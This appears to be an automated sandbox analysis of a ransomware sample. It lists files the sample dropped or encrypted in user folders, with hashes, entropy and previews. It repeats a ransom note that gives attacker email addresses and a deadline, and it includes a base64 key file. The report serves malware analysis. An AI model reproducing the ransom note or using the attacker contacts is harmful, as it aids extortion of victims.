MD5:	ABF79FB7AA0DC348988B94381293599D
SHA1:	042DC3C6489BDBDE430520A9D732F2E37CDD236F
SHA-256:	8A75D8A4E4012A028062AB49765F6400F9F729BEB92008A7E8B37489CFC180F8
SHA-512:	E9B75D1A4F9B93EDC368114CA13D2AE9836479941CDF921EB08769F7E2A3E7AE6F770A048A0DFE4F2BC7FD0AE37D4CFD9ACBD61EF0C59B72B0FFC4E3B494CD5D
Malicious:	false
Preview:	!!!All of your files are encrypted!!!..To decrypt them send e-mail to this address: Unlockpls.dr01@protonmail.com..In case of no answer in 24h, send e-mail to this address: Unlockpls.dr01@yahoo.com..All your files will be lost on Monday, January 10, 2022 9:36:01 AM...Your SYSTEM ID : 57802C8E..!!!Deleting "Cpriv.Loki" causes permanent data loss.

C:\Users\user\Favorites\Twitter.url Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	368
Entropy (8bit):	7.496139487298995
Encrypted:	false
SSDEEP:	6:fY4EmpJecmMni71O2IzSBdNIEGMTjwj7iPR7YQybtdlZzyG:R8tq0fOGGKR7YQ8tdXz9
MD5:	1AA060D88E19777478AB2586AB33AE22
SHA1:	F184CDBFE888E20F175D707A6229A27ED91DA0FC
SHA-256:	137DA02086DF2DFCEA258F40B07C4FCE4B15A69EF0E27102B2497CDF1E2476D0
SHA-512:	6503BFD65D2EBAB63C0F73580F805148C21F4ECE6EC4922A9768DD1723FAA7A5168C0329CE08BD5E48675376133306F36190E12AD4842127906C7F6A6A30DDF6
Malicious:	false
Preview:	0+.TE.N.....FVa.m.x..,.y..~.S$..eU.......1.R.....@..8r....E..nBx[.....ad.Jv..'H..F.ff\|...+...Q.h~)H..-k.a#.....z.G..P..SSu.8...........XY.3\|......56.nT......W.....;.......I..F......I..y`._L.y.#B..>.D..I..nzc..R..E.xG`}...Q.X#..K.6.@..R.\|.K....3..#W.6`V....0....].n...H.{f..v../.S.r)m..j..4dLE..3.J1.kO.F:.........kZ.o.Oq.&t\.>/i..Z..." .'.......aH.v.

C:\Users\user\Favorites\Wikipedia.url Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	370
Entropy (8bit):	7.379922526989196
Encrypted:	false
SSDEEP:	6:TtWxVzpNQdQTum97h/l6DVIMW7d24a41g2Oz4JKkVFZrVbbtvUmhL2byfn:TtAtCA7rAWZFe4EkV7xtvUrbA
MD5:	405670951C3339F1E84F037F4E802AC7
SHA1:	F66F4300A477F50F66EB20CDBCCF8D2852CA7B1C
SHA-256:	C7675B034297E53C6661D312F3BD6A0DDE732270AF535CA3B1D8131A1D941469
SHA-512:	B13FE20EA54B73A890D2A9A0BA3E466C47CAFFD08B8BC2DDA64C513B6B621C885B4747D8A0A4C5F6A753F84C3B591010BC08218482F9F8741DA0D09651087FF3
Malicious:	false
Preview:	.[...#Y\....Prh..i^.[V.^}.C.y.kr..T.L.Oj.G+x.Y.q.....$...A..7..v..p1.Z....D.Q'S..[.Py.0........p.'I...T..}Q1......M..>9Rr...0.k... _....e...C.ko....V[ Q.A.k5.l...5x.HV..6.8..[.j..."X.T=....3.s.?.1p.&o..+[..11jq.........s'.wI..og.....pUi..?.....-;....T..}.=U.$>. .I.?...w../..;.J.EV..l.......<.k.xC..."?...J.]....T.N...}.V.".9/...!...4}..L'..,....iL1.?b

C:\Users\user\Favorites\Youtube.url Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	368
Entropy (8bit):	7.45388710952281
Encrypted:	false
SSDEEP:	6:y/MdE+9dKmW1WBjz+G915baV6jbm/TA6rV8LvJTX2AIyrWQt8WvciThpJPsD939:yE9dIWBv+G91Eybm/HCvJZf38W00hpJa
MD5:	7BC77CAC260CB6046688AE36390CCEF1
SHA1:	71D9D16B6CFC923CC75F5D012163A8BFBF3EA328
SHA-256:	070BD0C49F6D07E98006F53F1D83331F523F7486871A846FF21758AF8152EA26
SHA-512:	77CA228D3B468D5BDF0D21999E5E2EAC3C6FCEACD82850E6B28341541D28DED7D077AF565E692C5B7D609351228ACEFC6B37257DF8D6985A9E02FDA382F6097B
Malicious:	false
Preview:	...$~.....k..L.zo.`.32.....:w2...a2.m.......=.&f}.j....y.k..o.8.1.jY..#..}$...c...VR\|~.'...-u....&.......^<.v!....G....f...].;n3....6...)..i.=k!..<..FW.w...b...>.....4..9q...;f....fH1>K.Y"f0.G........"}.f+Vlx...k..!..C.v...gs...._.:.:.P.z.g.....R.z...+.>..[.x..b.......B..R....LC0....[..#L.gK..T......t..XD..%..^.z..i...:...8.1.\.5yeON.^..}...YU$

C:\Users\user\Favorites\desktop.ini Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	658
Entropy (8bit):	7.6836751151237035
Encrypted:	false
SSDEEP:	12:xNETzun7XaPo+2EbHzhWHEv03Y+v5nr7Vyb8e67ibR/KvSR+xk4Xjpng72qEQk0I:xjbYo+2EbH039v57V3eLRySoxxTYEOmt
MD5:	15E875396D363D0ABC45B37DB5F5B13C
SHA1:	3E021B0F0971467D01EF3A98781B74825EB7F420
SHA-256:	D5ACD5C8F3A6AA2FB664274F85E3741E821E288D2DE32FECA88157EA1C8B371D
SHA-512:	0E526641E6E39ED459939B9EF887A6B10CF67FC3AC23582A75E6D2511E02791056F14EFE179AF4E3AF3A17796FEB1A68A81F62DD1E16F47A95B574D122877156
Malicious:	false
Preview:	...u.^gc.7.).......n........=^.{K.x2`.h.j...........6_2.(.Q...`.....RW.LA.y...j.......~C..R..WQX.........!....x....~...$...V....=....w]c1.=.R.;.ie.ZA..B...'.'...."%P.5.....MXN2..c F!:.`m...xJ-EIa....{].73}..ZHo..H}._BQ.}...u6m...N-.="...0?.O...+dz......L.<..3...$#...'oA...<.g.gRm...^.......6.9O.....4.:.{.......4..)U.....\.C..../k.>..}...B.....?..u._...;/.7..[...y.........$Z......d...,.-..x.....x.....$R.....E"Uu..p>..:>..#e~..O8F'.y.y..!.&..bN...fnf[.O.......Bo.....fCUF(h\|.N...e.....3E......P..}xP....m.....)..R~..J...\J.M".N...Y......u.1...Z....4.1..TH..y.5........end+..&.*.(siI..Np....ui.s,.(....jF.R4.........@h../......\

C:\Users\user\Links\Desktop.lnk Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	750
Entropy (8bit):	7.7273420404593205
Encrypted:	false
SSDEEP:	12:2mSiZ+x+T86h95wapbyqyW5nkw1EiJ/XxExw9TNRoInB8hCC8CKH93p1OtLkKyHP:1SmdT8kGwb9yW5n/JJExw9Doe+hvKH9n
MD5:	1A9F1E9A7D2577A20724CC73D9BBC7C8
SHA1:	88E03C4CAB19115F64918FC96FC5B758B0CB7A93
SHA-256:	70F2B9E2E7C21E7DCE5B573A8472B9B2C24D70A939A4C52E16CF6012A137FEBB
SHA-512:	9ACF3251E4E029A6143E2C8210BA70D2D0B14D4DBDA2A5B182BEAD8572D3A9344EC4C65CB54641378FEF410F6F69065B80BD7AD246CC713118CA4945C0CB2842
Malicious:	false
Preview:	.<n@...'A.Q).2x...q...BCjqA.T...fZY9..L..P.$....!........8RQ..~8...hF.:.%.QV..:?......B....E.=....w..<.....o......I.0..8.uJ..._v...h.....,.N'P`>.}.I.H}.yP...aa.`I<...>.Qd.z.5.[..).......V.. C....4..(y.]7.W...G......#.F..+..]5xS.7v.].5.E-..aZL'.U"U..1..bWS.y.U.}..ecU.`..{`..M7=...:zB.YF?.P.}.."..a..U.r..lB".......z..O...<y...j.....b.(...........sF..'O.)...{.F.......?.....L\|'..{C.,...e8..4...d.....).G...Q..:.o.g..f.&.... 7`U......AoB...Q.W.].`...xL.2.h1..$......f_4...r...S.$....^<].k...Y....P......]..tk...hA>.L).R....,...Q..h...`.q...g..o?...<....z.Bi..".....H.It.a8G!)lJ.....5..!y...T1..-.FS.....y.$\......4N.Q{9...{0..9.x....j\....-..g......{.:j.......yh.Z.I.y......~.."........+W.$....FoW.e.k..J[...

C:\Users\user\Links\Downloads.lnk Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1195
Entropy (8bit):	7.863044654236703
Encrypted:	false
SSDEEP:	24:PkMrgJNJnO/FOCfGNLaRdnLGcdWO1F2j7ywH4cnV:8MMJNJqxfGNLaucdVbcyw7V
MD5:	6322D80B93AE935595C564F683B3D2BC
SHA1:	40F55E1B617A8A7968FD88BBB6BE778EC288621F
SHA-256:	687DC0A33F9F65065658F2B9D104324DA850F4C9E7E529C0B5C2B05E90AD90FA
SHA-512:	BBBFA9FB7B8D9BC824C53578E0F68386919F72231A0A2E59FA64B6EECF93B366A5E09C48A0CACA98CCFC520B1F49D27C8159E695570B676CFBD2B6AE37DB18A0
Malicious:	false
Preview:	7y/z...V..$......\...9..E.."rtA.....6.YZ.....1.:n...o..).'...)..:]Rvgq.rj..Rc..V]"..\3%o........c..pF..'............%..dH..?.t.yb@.x)}'N.x.+Z.H...h.$S.S..[.2.....E.^..I.H.9c.q.(<......r.E...u..M.....0`.,..=....l ,...vGAaG..W-C_.....e9.O....3......&V.N?G.../..[.^.H.9.Lfs@G.UK^....q.}.s.Ds.\|.2.U.<5g...t.I.7..:r\..)....".i.K.%.t..c3..J........B...CP..K...<W......Z.`epD/M.vb.W..{...Q...oJ.....aP.n/q.?.m3.(-...p.#.n.....y..EL....8..1&r...L.q.....u..6gI.....\,R..K..}......nl...T.:P..!....o..3..Y...Ys.!....w........?..v.XU.~.4.....U.F...$.:b&..f.....S.... ...i.]s..E.....-Y.PH../..V.....+.....H.........hb:..(2...p.n........no..W_....e.L.P......#.f....8[.#H...7A....7...d9.?..i.Q ...@O!.F....[.C..cFZ...A.-.1..)4..R....0.-..%P2Z.... .9..P...2..ao6#...u.z.1.._.m.p.vP......[;Y...%.1..x.`..5IA.0v.;.O...I..8u......2a.....!..O.^j...\....w*....`..a.d#}.Fl8/...BS{....w...~..8....;.......5...cu.L:aN.x.Q6.4.j.?.... b.9..k..`C..T.c../wW<...3...2.v...J.

C:\Users\user\Links\Restore-My-Files.txt Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	347
Entropy (8bit):	5.000222043072003
Encrypted:	false
SSDEEP:	6:n7CSfmXy7MZATkL3NL+2DFGIwBfriOukL3NUFo5xCoQYMEb9n6bZEIseIOSTFqp3:xeXGMZATH2ZLqrxu/FWlQs9UZEIseIBC
MD5:	ABF79FB7AA0DC348988B94381293599D
SHA1:	042DC3C6489BDBDE430520A9D732F2E37CDD236F
SHA-256:	8A75D8A4E4012A028062AB49765F6400F9F729BEB92008A7E8B37489CFC180F8
SHA-512:	E9B75D1A4F9B93EDC368114CA13D2AE9836479941CDF921EB08769F7E2A3E7AE6F770A048A0DFE4F2BC7FD0AE37D4CFD9ACBD61EF0C59B72B0FFC4E3B494CD5D
Malicious:	false
Preview:	!!!All of your files are encrypted!!!..To decrypt them send e-mail to this address: Unlockpls.dr01@protonmail.com..In case of no answer in 24h, send e-mail to this address: Unlockpls.dr01@yahoo.com..All your files will be lost on Monday, January 10, 2022 9:36:01 AM...Your SYSTEM ID : 57802C8E..!!!Deleting "Cpriv.Loki" causes permanent data loss.

C:\Users\user\Links\desktop.ini Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.734041097306248
Encrypted:	false
SSDEEP:	12:mWGrZgBStEzBdYWSDsyr366MjaeuAk5bil/tPHpCevnOSJ+cdsjPJ1WlrK021v:mTZS6k/Ypvv5euAg0pH5jJhL8v
MD5:	C12461CE7CC0308E6E1CDD7E7A959012
SHA1:	B1FD5CB70EBE02D84CFC1F69A15741D7B4085729
SHA-256:	731C1B6D21FDA9AE13D1390EA39F2773CA610B5475BF0046386F2E764B359CD0
SHA-512:	8A13AAE33FEACFEC7C3874D0A206B81FAF29E77AA47E700732CE0070BA4FDAC0A308F3310228BB55F482EA2E71D203F60DD6579745D3CF9DCD9913F86438E8F8
Malicious:	false
Preview:	..N.j).G...Q.6.3......A[T...9...lM...Nq..$...`.\.M..w)....1.N...kW.n."y.bc..^.\|...I......>;.^......bE..y..DeH3..8....Z!..V..Upa.&fCV.I\........l...)4.8L.T....._......-j...1T[ V..=...o`z.....K.{....=.&.}.\|.}.....w..pZsl..........V....$on.;8!'..HI.V...8..:.......\..{.O.~b.....@C8P..dL.}.?..B^....0q4..x..a...}...,../.!_07..,6...^?U..v.B..3=/[.....^.VQY.kO. .....M.I1j...++]]%......P<.H..A'.vgp....-..C........bS..\|)R..}.k.....O.A..:.k...9..4.U.m.....{..j.....V.@...S;...X.......G...AG.$.7........w..H:S.w_..-.'..q......w..3....'O..1.../.&..L@..^.z..^2N..q.........I.......\|.."...:6pn.\.Nu..l..r.y.,....Hn...[i.....H_..!.....zT.s]../o.D.r...x.... ._...;..qF....5.\....X=..J;<...._(2.?!..$}.N/.1,.}.g...E..W.~..Q./jw..

C:\Users\user\Music\Cpriv.Loki Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2980
Entropy (8bit):	6.033602153554147
Encrypted:	false
SSDEEP:	48:bMH08OoaHuJrSuwJAVePwy0tU80FUYlUyhL96eMuKZPT5bKc3NYCCjaonThOXWlA:bMU85EuJBeAVt9qhL9ybAaiFOK2
MD5:	99E4422574E75F2D291B0729FEFB379E
SHA1:	B8F585556F0C659308673D0181C752ED7F5ED23C
SHA-256:	EB42AEDAC405CD5269CA03AB076D636D9FA8BA1C687698F6BB93022D2C9ECD2E
SHA-512:	C0A46F19B10FEEC314F8F9A8C8136B7EB2575DD901726B5D9DF2F9BFCE9E03448981D7685A3C7EF4FF5FBFD8BC76A12E641096107A76F862CF53214CD0701669
Malicious:	false
Preview:	aFpTPMeOLzkZf/U7S+5LE7wQpPhuYYt2h71l0sOjH3N5jL+BQpjEIrl3rBln08PonAFOej32zEkz..5JmAdGdd4mM26NMOhjFDYmEbNxv8wo9TP0JwGoerBEImK3MaQ4biWLJ8eig6BygkQsgWhW3g+W/s..y1UmNLMZXkd7tT5d6U8QQqBA+l0zuM3YXIMt6s0lssezZTuuJR3vHupE6lOlAwKLRIvOvcOUrYli..M1S37e3d7KtFTfhqUis69dAXQubK3jqwjIWAY4bvOiXDfX5tVbI1k/HbY70drfwTBL7dZZcbd2Zg..Qu2IBorgXPWBUmx94U+jszt46QtZMX8OEFQzWByn+JMG2WFRE8B9HXikVEHyZwyzXmrl/V4F3F02..djfyX1/wm/yCYVRacOCSLin43U2OlFgsdSwqIyYHLPAlIPTe9UKENsfYRwadlW18V8OvZqvY414R..9r02ylF538N32UrRSl3l33nWkj8j3njTVW5wP3B2e6Qwif/pgrVWzEsC+opmYs7HQnkb6nUPP+Xc..mBZQm47Wldh7IC3nVIIO3sEKdFQDLfpTmmEkK7tibDk1moeE6OJ1zQsO7mJF95a0wh8D9BeOpPAo..uhcw10a7hIFGIttp/0Ce7gmDZAywQJqzoPOhUpJgjiGREZ8tnv4qLihvZzH9ThgJvpVlEhLwrlOI..uvnsIbH1o3s0tQZFsE08ZE5hWXnys5fB+nWT+03gRZr93xNezMEu5khpSLY19TWJWVM7S9dwzaiY..Lr7PB3zAKGfZs6J6pEAHIzG9/CJo2CYyNIcDiH4bWFv3xJfRTtgN++jiqcu5fX9Oi+b2DEW90PPv..ZN9wNelChzupY+ULTSnpok62aoNXlkSC57Bm/jwTab57In7FPwyn61fw6+055MBcp8GGMKw8eiAZ..IOrYOhedeFH7drkD4g/qHSPY1j47/CLid9/RFkC++csa5rNOxqHmeEvpNwtVbFGH

C:\Users\user\Music\Restore-My-Files.txt Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	347
Entropy (8bit):	5.000222043072003
Encrypted:	false
SSDEEP:	6:n7CSfmXy7MZATkL3NL+2DFGIwBfriOukL3NUFo5xCoQYMEb9n6bZEIseIOSTFqp3:xeXGMZATH2ZLqrxu/FWlQs9UZEIseIBC
MD5:	ABF79FB7AA0DC348988B94381293599D
SHA1:	042DC3C6489BDBDE430520A9D732F2E37CDD236F
SHA-256:	8A75D8A4E4012A028062AB49765F6400F9F729BEB92008A7E8B37489CFC180F8
SHA-512:	E9B75D1A4F9B93EDC368114CA13D2AE9836479941CDF921EB08769F7E2A3E7AE6F770A048A0DFE4F2BC7FD0AE37D4CFD9ACBD61EF0C59B72B0FFC4E3B494CD5D
Malicious:	false
Preview:	!!!All of your files are encrypted!!!..To decrypt them send e-mail to this address: Unlockpls.dr01@protonmail.com..In case of no answer in 24h, send e-mail to this address: Unlockpls.dr01@yahoo.com..All your files will be lost on Monday, January 10, 2022 9:36:01 AM...Your SYSTEM ID : 57802C8E..!!!Deleting "Cpriv.Loki" causes permanent data loss.

C:\Users\user\Music\desktop.ini Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.722831438338026
Encrypted:	false
SSDEEP:	12:QTj2W6yWyaT2aWBZqTBMLhuAn7exucxf79PWZRo81RGW3DXaJDNGvTsDSVaUzP+:Ij2zDyaT3WadMduAnKxuYfZYRjpDaJdv
MD5:	F9F92FDDACB4374662C8821A2C8C06A4
SHA1:	BE07D42F533FF6BE0FB2F0A867F8BE29FE3E6A38
SHA-256:	A5A17ADE53FFBFFCBD4E31B4E6A8C484FD331E08AB9499504FC229AF1F8E3C76
SHA-512:	44459CB0FA64C6C6C2283556E42ED586900DE144830332C63F97F54D5B91621377BEF09870D675AE10C70B33789219B4F63CD6AA3CCCCED46DFE37CA5E092ED0
Malicious:	false
Preview:	.......^.\|VZFJ..>K.........zJ>.q.F.u...<6G..........1....BQ.W4...(.........JH...F./...yV>.@.n2.@a..e.2..F...urHc.wM.+.k4"Lt.s..Mz.Va.v..e.x<<.+Q..WN;c..T./!.1]...:.....a\3..6..w..?S.s.>. ....o..:D.......wV...]..5...MG....'.._r.{.?)..FuMu...i...p.5.N...{c....@...x..g..}..@./_. TUP.f..ucE.QoX/.55...@..'L..a.a{....Uu08o\.g...'..m.v. .h..~.z.Ln5..2.CO..".K.&...V.#aV.....tM.._.`Wx.1..@i.H.^FQ.\|....:......\Z7.s....j.n.H.^T2._.B..k..I.....h.D./...`..r..A.i.L/...$"...M8..H5.Q...K.8...+.._?.Z.......w.H..P]I.~.I.]/.....wo].T.H......f...!..[..D8.k.uc\|....$jgU.]>.4B.-D.l..\|.Lmn........4Q.HW..1.y..m;...q..>......2.rI....3;.y9...F...mD..%...@Wn.o....O..:...^...o0.W"F.a7lE.s........F..8.0.TS3.rNB.%..w...L<r...B$..h.W[..I...O.C.......

C:\Users\user\Pictures\Camera Roll\Restore-My-Files.txt Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	347
Entropy (8bit):	5.000222043072003
Encrypted:	false
SSDEEP:	6:n7CSfmXy7MZATkL3NL+2DFGIwBfriOukL3NUFo5xCoQYMEb9n6bZEIseIOSTFqp3:xeXGMZATH2ZLqrxu/FWlQs9UZEIseIBC
MD5:	ABF79FB7AA0DC348988B94381293599D
SHA1:	042DC3C6489BDBDE430520A9D732F2E37CDD236F
SHA-256:	8A75D8A4E4012A028062AB49765F6400F9F729BEB92008A7E8B37489CFC180F8
SHA-512:	E9B75D1A4F9B93EDC368114CA13D2AE9836479941CDF921EB08769F7E2A3E7AE6F770A048A0DFE4F2BC7FD0AE37D4CFD9ACBD61EF0C59B72B0FFC4E3B494CD5D
Malicious:	false
Preview:	!!!All of your files are encrypted!!!..To decrypt them send e-mail to this address: Unlockpls.dr01@protonmail.com..In case of no answer in 24h, send e-mail to this address: Unlockpls.dr01@yahoo.com..All your files will be lost on Monday, January 10, 2022 9:36:01 AM...Your SYSTEM ID : 57802C8E..!!!Deleting "Cpriv.Loki" causes permanent data loss.

C:\Users\user\Pictures\Camera Roll\desktop.ini Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	446
Entropy (8bit):	7.5509315010083755
Encrypted:	false
SSDEEP:	12:wLrbok+FmQ9Zz3QOWPtt/fKmXHOgQsAOkYhEqMlbMZ17e:Wd0Zz3Ett/fK8KsAnYGTlAZg
MD5:	7263D8E4AFAED90A2947C9C1C518CA87
SHA1:	0585008080D7F661A1CE49479FCEE54B7ABD2950
SHA-256:	18F771A0DC9214182E573B23140AC22C84937B90C6B23BC810C386665F97512B
SHA-512:	5577A38CA3CB1ACF733FF838082E3DC1CEF776A1A249299BF63C3BC230E2F80BCA9903D3FF02F11914036F10A1087B2306988B0CAF3D939AE34CE7C1BB4032BA
Malicious:	false
Preview:	....T.;=...u..`^...f..#).\.8*m..M.@.@.....g.k.....a.......k.Y......(...7...L.8.....h`D.S..n..W...M'Z.jl.PV.`n.....:.t.N...a.......c.Q...NB.)Y0g.<.........z........B2.^....k{\...W...M.......v.P.H.....K..0.mG~X..+3G....`.N.f6f..F/........n.RX...f.`...$..e..: A\|.7....W.@..fh........uN.....L._..5...L..3...q..5.......}r.1...........A.d...Jc...1N.!.....%>.....\yc^jV....G/%...h8.f.6..........5.@"..i...M..w...ZC....A..ive\P..y

C:\Users\user\Pictures\Cpriv.Loki Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2980
Entropy (8bit):	6.033602153554147
Encrypted:	false
SSDEEP:	48:bMH08OoaHuJrSuwJAVePwy0tU80FUYlUyhL96eMuKZPT5bKc3NYCCjaonThOXWlA:bMU85EuJBeAVt9qhL9ybAaiFOK2
MD5:	99E4422574E75F2D291B0729FEFB379E
SHA1:	B8F585556F0C659308673D0181C752ED7F5ED23C
SHA-256:	EB42AEDAC405CD5269CA03AB076D636D9FA8BA1C687698F6BB93022D2C9ECD2E
SHA-512:	C0A46F19B10FEEC314F8F9A8C8136B7EB2575DD901726B5D9DF2F9BFCE9E03448981D7685A3C7EF4FF5FBFD8BC76A12E641096107A76F862CF53214CD0701669
Malicious:	false
Preview:	aFpTPMeOLzkZf/U7S+5LE7wQpPhuYYt2h71l0sOjH3N5jL+BQpjEIrl3rBln08PonAFOej32zEkz..5JmAdGdd4mM26NMOhjFDYmEbNxv8wo9TP0JwGoerBEImK3MaQ4biWLJ8eig6BygkQsgWhW3g+W/s..y1UmNLMZXkd7tT5d6U8QQqBA+l0zuM3YXIMt6s0lssezZTuuJR3vHupE6lOlAwKLRIvOvcOUrYli..M1S37e3d7KtFTfhqUis69dAXQubK3jqwjIWAY4bvOiXDfX5tVbI1k/HbY70drfwTBL7dZZcbd2Zg..Qu2IBorgXPWBUmx94U+jszt46QtZMX8OEFQzWByn+JMG2WFRE8B9HXikVEHyZwyzXmrl/V4F3F02..djfyX1/wm/yCYVRacOCSLin43U2OlFgsdSwqIyYHLPAlIPTe9UKENsfYRwadlW18V8OvZqvY414R..9r02ylF538N32UrRSl3l33nWkj8j3njTVW5wP3B2e6Qwif/pgrVWzEsC+opmYs7HQnkb6nUPP+Xc..mBZQm47Wldh7IC3nVIIO3sEKdFQDLfpTmmEkK7tibDk1moeE6OJ1zQsO7mJF95a0wh8D9BeOpPAo..uhcw10a7hIFGIttp/0Ce7gmDZAywQJqzoPOhUpJgjiGREZ8tnv4qLihvZzH9ThgJvpVlEhLwrlOI..uvnsIbH1o3s0tQZFsE08ZE5hWXnys5fB+nWT+03gRZr93xNezMEu5khpSLY19TWJWVM7S9dwzaiY..Lr7PB3zAKGfZs6J6pEAHIzG9/CJo2CYyNIcDiH4bWFv3xJfRTtgN++jiqcu5fX9Oi+b2DEW90PPv..ZN9wNelChzupY+ULTSnpok62aoNXlkSC57Bm/jwTab57In7FPwyn61fw6+055MBcp8GGMKw8eiAZ..IOrYOhedeFH7drkD4g/qHSPY1j47/CLid9/RFkC++csa5rNOxqHmeEvpNwtVbFGH

C:\Users\user\Pictures\Restore-My-Files.txt Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	347
Entropy (8bit):	5.000222043072003
Encrypted:	false
SSDEEP:	6:n7CSfmXy7MZATkL3NL+2DFGIwBfriOukL3NUFo5xCoQYMEb9n6bZEIseIOSTFqp3:xeXGMZATH2ZLqrxu/FWlQs9UZEIseIBC
MD5:	ABF79FB7AA0DC348988B94381293599D
SHA1:	042DC3C6489BDBDE430520A9D732F2E37CDD236F
SHA-256:	8A75D8A4E4012A028062AB49765F6400F9F729BEB92008A7E8B37489CFC180F8
SHA-512:	E9B75D1A4F9B93EDC368114CA13D2AE9836479941CDF921EB08769F7E2A3E7AE6F770A048A0DFE4F2BC7FD0AE37D4CFD9ACBD61EF0C59B72B0FFC4E3B494CD5D
Malicious:	false
Preview:	!!!All of your files are encrypted!!!..To decrypt them send e-mail to this address: Unlockpls.dr01@protonmail.com..In case of no answer in 24h, send e-mail to this address: Unlockpls.dr01@yahoo.com..All your files will be lost on Monday, January 10, 2022 9:36:01 AM...Your SYSTEM ID : 57802C8E..!!!Deleting "Cpriv.Loki" causes permanent data loss.

C:\Users\user\Pictures\desktop.ini Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.726125508685416
Encrypted:	false
SSDEEP:	12:0x/9qR/ibgaKFOZdEX0nnyud2DFnqBxVA92O4ht3EmptXoLPApZWtym9hoFFVCz+:0IKbgaKFObEXcnvY3UO1mAA3QyahoFPD
MD5:	1845A924E6EFD87C84887A4CE44F2966
SHA1:	CD660440927592EC2E4D493374F0E22385A205CC
SHA-256:	39D94E285AA28201FD8CA5B27F6BE6925C563833382F4A192099792D2B526A8C
SHA-512:	97317A18AA558D1D1E895EB1DC3A64AAD84514A890747CD402C24A8F8A4BB5C8977847C1420DF8AFCC06A6BB74AA8459600A2DE8709E2EA24FB0B4F530244401
Malicious:	false
Preview:	i._k..mW.N-hW88k..R...t.o...q...y.cH.ZF.~.p....X.c.9A}q..o..U?...2.o...7g..Eq....d0..N ;.E......L[...'...Q9........s.]B[lIi]@T..].=. JdP...+@....OQXw....K:...1.G............W..nh..&B....t>x]....g...7.j.B.O......c...g.>..(.l...s3..p.O.Nq....r.j5yX.t.Y(b.A.....=...P..`u..u......Z.........jYOQ.8..O...O.S...C.\|.s...c.....r..<.{.................~..9Wo`...%....-[..)E`V.B.....A..6.`9=...A.9[Wb1.U........&.`.o...+...'.`...A.1.1.GX>l!..U..a..+....NlQ.@...?$K...Mz...^~x......P.3".F...9..B......Lz6-. ...r..s.bj..p.e....D4.S.t.]....0.....">cs....jA._.....P~....i..D/.uu..`.\|.(W........;@....D.?....u\.6.8T./...Y..7Gl..h.}..U.u....0.....mHl..K.T&c.....<.".i.....1.SC.7...g.i.>..J.:o....j.5.....{..cEJ.$..n.#..rO..P...E.d..uP....1..

C:\Users\user\Restore-My-Files.txt Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	347
Entropy (8bit):	5.000222043072003
Encrypted:	false
SSDEEP:	6:n7CSfmXy7MZATkL3NL+2DFGIwBfriOukL3NUFo5xCoQYMEb9n6bZEIseIOSTFqp3:xeXGMZATH2ZLqrxu/FWlQs9UZEIseIBC
MD5:	ABF79FB7AA0DC348988B94381293599D
SHA1:	042DC3C6489BDBDE430520A9D732F2E37CDD236F
SHA-256:	8A75D8A4E4012A028062AB49765F6400F9F729BEB92008A7E8B37489CFC180F8
SHA-512:	E9B75D1A4F9B93EDC368114CA13D2AE9836479941CDF921EB08769F7E2A3E7AE6F770A048A0DFE4F2BC7FD0AE37D4CFD9ACBD61EF0C59B72B0FFC4E3B494CD5D
Malicious:	false
Preview:	!!!All of your files are encrypted!!!..To decrypt them send e-mail to this address: Unlockpls.dr01@protonmail.com..In case of no answer in 24h, send e-mail to this address: Unlockpls.dr01@yahoo.com..All your files will be lost on Monday, January 10, 2022 9:36:01 AM...Your SYSTEM ID : 57802C8E..!!!Deleting "Cpriv.Loki" causes permanent data loss.

C:\Users\user\Saved Games\Restore-My-Files.txt Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	347
Entropy (8bit):	5.000222043072003
Encrypted:	false
SSDEEP:	6:n7CSfmXy7MZATkL3NL+2DFGIwBfriOukL3NUFo5xCoQYMEb9n6bZEIseIOSTFqp3:xeXGMZATH2ZLqrxu/FWlQs9UZEIseIBC
MD5:	ABF79FB7AA0DC348988B94381293599D
SHA1:	042DC3C6489BDBDE430520A9D732F2E37CDD236F
SHA-256:	8A75D8A4E4012A028062AB49765F6400F9F729BEB92008A7E8B37489CFC180F8
